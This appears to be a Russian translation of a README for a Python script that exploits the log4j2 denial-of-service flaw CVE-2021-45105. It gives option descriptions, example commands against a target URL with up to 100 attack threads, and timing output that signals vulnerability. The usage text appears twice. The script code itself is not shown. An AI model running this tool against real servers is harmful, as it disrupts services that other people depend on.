
эксплойт DOS log4j2, эксплойт CVE-2021-45105, POC отказа в обслуживании
Автор: 我超怕的
Блог: https://www.cnblogs.com/iAmSoScArEd/
GitHub: https://github.com/iAmSOScArEd/
Дата: 2021-12-20
log4j2 dos exploit
Скрипт эксплуатации DoS-уязвимости log4j2
CVE-2021-45105 Exploit
Скрипт эксплуатации CVE-2021-45105
Log4j2_dos.py -u <url> -m <method> -d <params> -H <header> -l <loop> -t <thread>
-u,--url цель атаки
-m,--method HTTP-метод, только get и post. По умолчанию get.
-d,--data параметры get или post, формат JSON, например: {\"username\":\"\"}
-H,--header заголовок запроса, формат JSON, например: {\"user-agent\":\"\"}
-l,--loop количество (или длина) повторений payload'а, по умолчанию 100. Определяет, где находится параметр: например, максимальная длина get-параметра, максимальная длина post-параметра или максимальная длина заголовка запроса.
-t,--thread количество потоков атаки. По умолчанию 0 — только один запрос.
Примеры использования:
Log4j2_dos.py -u http://url.com/ -d {\"username\":\"\"}
Log4j2_dos.py -u http://url.com/ -d {\"username\":\"\"} -l 500 -t 100
Log4j2_dos.py -u http://url.com/ -m post -d {\"username\":\"\"} -l 500
Log4j2_dos.py -u http://url.com/ -m post -H {\"user-agent\":\"\"} -l 500 -t 100
Log4j2_dos.py -u http://url.com/ -m post -d {\"username\":\"\"} -H {\"user-agent\":\"\"} -l 500
Значение -l (--loop) нужно устанавливать отдельно в зависимости от сценария. Чем больше, тем не всегда лучше. Если превысить длину, которую может принять веб-сервер, это может привести к неудачному обнаружению атаки и отсутствию эффекта.
Формат вывода:
[+] normal time:0.11111
[+] attack time:2.00000
Если attack time - normal time > 1 или около того, возможно, уязвимость существует. Можно использовать параметр -t для установки количества потоков атаки.
Log4j2_dos.py -u <url> -m <method> -d <params> -H <header> -l <loop> -t <thread>
-u,--url цель атаки
-m,--method по умолчанию get, HTTP-метод. Поддерживаются только get и post.
-d,--data параметры get или post, формат JSON, например: {\"username\":\"\"}
-H,--header заголовок запроса, формат JSON, например: {\"user-agent\":\"\"}
-l,--loop по умолчанию 100, длина цикла payload'а. Устанавливается в зависимости от расположения параметра: максимальная длина заголовка, максимальная длина get, максимальная длина post.
-t,--thread по умолчанию 0 — только один запрос. Потоки атаки.
Обычное использование:
# По умолчанию get, 100 повторений payload'а, одно тестовое обнаружение, payload добавляется в параметр username
Log4j2_dos.py -u http://url.com/ -d {\"username\":\"\"}
# По умолчанию get, 500 повторений payload'а, 100 потоков атаки, payload добавляется в параметр username
Log4j2_dos.py -u http://url.com/ -d {\"username\":\"\"} -l 500 -t 100
# Указан post, 500 повторений payload'а, одно тестовое обнаружение, payload добавляется в параметр username
Log4j2_dos.py -u http://url.com/ -m post -d {\"username\":\"\"} -l 500
# Указан post, 500 повторений payload'а, 100 потоков атаки, payload добавляется в заголовок user-agent
Log4j2_dos.py -u http://url.com/ -m post -H {\"user-agent\":\"\"} -l 500 -t 100
# Указан post, 500 повторений payload'а, одно тестовое обнаружение, payload добавляется в параметр username и заголовок user-agent
Log4j2_dos.py -u http://url.com/ -m post -d {\"username\":\"\"} -H {\"user-agent\":\"\"} -l 500
Значение -l (--loop) нужно устанавливать в зависимости от сценария. Чем больше, тем не всегда лучше. Если превысить длину, которую может принять веб-сервер, это может привести к неудачному обнаружению атаки и отсутствию эффекта.
Формат вывода:
[+] normal time:0.11111
[+] attack time:2.00000
Если задержка attack time велика, значит, уязвимость существует. Можно использовать параметр -t для установки количества потоков атаки.
Не используйте в незаконных целях. Только для изучения и ознакомления. Никакие противоправные действия не связаны с автором.
(Корявый английский, переводчик не использовался, смотрите как есть.)
Автор: 我超怕的